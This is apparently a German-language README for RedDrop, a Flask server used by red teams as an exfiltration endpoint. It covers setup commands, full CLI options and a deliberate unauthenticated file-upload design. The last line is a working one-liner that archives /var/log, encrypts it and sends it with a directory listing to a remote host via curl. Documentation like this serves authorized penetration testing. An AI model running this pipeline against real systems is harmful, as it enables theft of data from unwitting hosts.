
Python Flask-Webserver zum Erfassen, Verarbeiten und Protokollieren von codierten/verschlüsselten Payloads und tar-Archiven, konzipiert für Penetrationstester und Red Teamer als C2-Exfiltrations-Endpunkt.

Lesen Sie den begleitenden MaverisLabs Blog-Beitrag hier!
RedDrop Exfil Server ist ein Python-Flask-Webserver für Penetrationstester, Red Teams und Sicherheitsexperten mit folgenden Funktionen:
Diese Software ist als rudimentärer C2-Endpunkt zum Erfassen von Webanfragedaten in verschiedenen Szenarien gedacht. Einige Beispiele sind:

Dieses Projekt befindet sich noch in der Entwicklung und einige Funktionen könnten fehlerhaft sein. Wenn Sie auf Probleme stoßen, eröffnen Sie bitte ein Issue!
Diese Software sollte nicht allgemein im Internet zugänglich sein. Sie wurde bewusst mit einer Schwachstelle gebaut, die manche als „Beliebiger Datei-Upload“ bezeichnen würden, und akzeptiert und speichert Dateien ohne Authentifizierung auf der lokalen Festplatte. Es ist Sorgfalt geboten, um sicherzustellen, dass das System, auf dem diese Software bereitgestellt wird, ordnungsgemäß gesichert ist. Einige Empfehlungen:
mkdir uploads logs
docker run --rm -t -v "$PWD/uploads:/reddrop/uploads" -v "$PWD/logs:/reddrop/logs" -p "80:80" --name reddrop cyberbutler/reddrop -h
pip install --user pipenv
pipenv install
pipenv shell
python reddrop-server.py -h
python reddrop-server.py -h
Ein Webserver für Datei- und Datenexfiltration.
Autor: @cyberbutler/@thecyberbutler
optionale Argumente:
-h, --help Zeigt diese Hilfemeldung an und beendet das Programm
--host HOST, -H HOST Die Host-IP-Adresse, an die gebunden wird (Standard:
0.0.0.0)
--port PORT, -P PORT Der Port, an den gebunden wird (Standard: 80)
-c CONFIG, --config CONFIG
YAML-Konfigurationsdateipfad (Standard: None)
--dump-config Gibt die Konfigurationseinstellungen als YAML aus
(Standard: False)
--debug Aktiviert den Debug-Modus von Flask (Standard: False)
-p {hex,openssl-aes256-pbkdf2,gzip,b64}, --processor {hex,openssl-aes256-pbkdf2,gzip,b64}
Gibt einen Prozessor an. Dieses Flag kann
mehrfach verwendet werden, um mehrere
process_list-Funktionen zu definieren. Verwenden Sie
dieses Flag in der Reihenfolge, in der Sie
empfangene Daten verarbeiten möchten (Standard: [])
-A, --auto-process, --no-auto-process
Führt Prozessoren automatisch basierend auf
erkannten Daten aus. Diese Option ist standardmäßig
aktiviert, sollte jedoch deaktiviert werden
(--no-auto-process), wenn Sie unerwartete Ausgaben
erhalten, z. B. wenn Base64-Decodierung auf Ausgaben
angewendet wird, die nicht Base64-kodiert sind.
Verwenden Sie stattdessen das Flag `-p`, um die
Verarbeitung zu erzwingen. (Standard: True)
--auto-extract-tar, -x
Extrahiert automatisch TAR-Archive, die vom Server
empfangen werden. (Standard: False)
--encryption-password PROCESSOR_ARGUMENTS.OPENSSL-AES256-PBKDF2.PASSWORD
Das Passwort, das zum Entschlüsseln/Verschlüsseln
verwendet wird. (Standard: EncryptMe)
-r AUTHORIZATION_RULES, --authorization_rules AUTHORIZATION_RULES
Gibt eine Autorisierungsregel an, um Anfragen
abzulehnen, die nicht dem angegebenen Schlüssel-
und Regex-Wert-Paar entsprechen. Angegeben als
<Schlüssel>=<Regex>. (Standard: None)
-t TAGS, --tag TAGS Markiert während dieser Sitzung empfangene Daten
sowohl in den Protokollen als auch im Verzeichnis, in
das Dateien hochgeladen werden. Beispiel:
-t log4j -t acme.org (Standard: None)
--tls-keyfile GUNICORN.KEYFILE
Aktiviert TLS-Unterstützung. (Nur Produktion) Der
Pfad zu einer TLS-Schlüsseldatei (Standard: None)
--tls-certfile GUNICORN.CERTFILE
Aktiviert TLS-Unterstützung. (Nur Produktion) Der
Pfad zu einer TLS-Zertifikatsdatei (Standard: None)
Es gibt weitaus mehr Konfigurationsoptionen, die in Umgebungsvariablen
angegeben werden müssen. Verwenden Sie `--dump-config`, um alle Optionen
anzuzeigen.
tar cz /var/log | base64 | xxd -ps | gzip | openssl enc -aes-256-cbc -pass 'pass:EncryptMe' -e -a -pbkdf2 | curl 172.17.0.1$PWD -F 'logs=@-' -F "listing=`ls -al * | gzip | base64`"
